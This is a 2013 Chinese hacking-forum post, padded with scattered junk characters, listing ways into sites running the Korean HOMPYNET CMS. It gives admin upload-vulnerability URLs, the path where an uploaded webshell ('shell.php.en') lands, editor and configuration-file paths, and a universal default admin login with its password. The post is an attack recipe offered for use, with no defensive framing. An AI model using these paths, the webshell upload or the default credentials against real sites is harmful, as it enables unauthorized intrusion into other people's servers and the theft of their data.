找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2206|回复: 0
打印 上一主题 下一主题

韩国HOMPYNET CMS漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:12:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上传漏洞  :
. ^! t% B9 h% F3 T
" B+ u4 l  Q* ?- j0 hhttp://www.xxx.com/admin/image_a ... p;iname=&iform=
+ u% D+ J! t" D9 ?' q( ^& r
9 ]  y- g2 M" N0 l* i( c, ~http://www.xxx.com/admin/image_a ... p;iname=&iform=
9 [7 s1 x; S- \6 w1 Y, {
4 {. C8 `3 M# l5 P3 v' L6 m上传后路径:& i1 s3 @( Y+ C+ Z* X4 \3 K0 _! G9 D

! Y0 Y* T! I$ a7 ?http://www.xxx.com/bis_web_page/images/shell.php.en
( L5 }4 ^& g5 ^, o  r9 `; I5 Z7 N' z8 h' B& `1 `& u* D
编辑器:2 f! V1 @) `4 d3 \0 y$ ?! w' r% `1 L: V

/ L( e) Y9 v8 q. N/ q7 Dhttp://www.xxx.com/admin/editor/SWE.php
+ u% K3 d) F$ c. g
) U% j( \5 U" Thttp://www.xxx.com/program/editor/SWE.php1 q& l- A$ E6 m6 s& B. E

+ L& L" m( |+ q' B数据配置文件路径:& y* g1 D  V& T  t" ?/ b" y

# i4 h7 [8 q( e% c8 bhttp://www.xxx.com/m_config/DATA/g_setting.php% [! C/ p3 l* \$ I$ t  _
' Z) i8 s- R- B, x) _4 n
此程序通用后台账号 :gamsiw  php99+ _* N- O! M7 q9 n9 z

% T" M$ _; F' ~  O
( b* q9 @' Y$ z1 N4 U) F3 W) u2 o: ?* w; d1 H1 F1 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表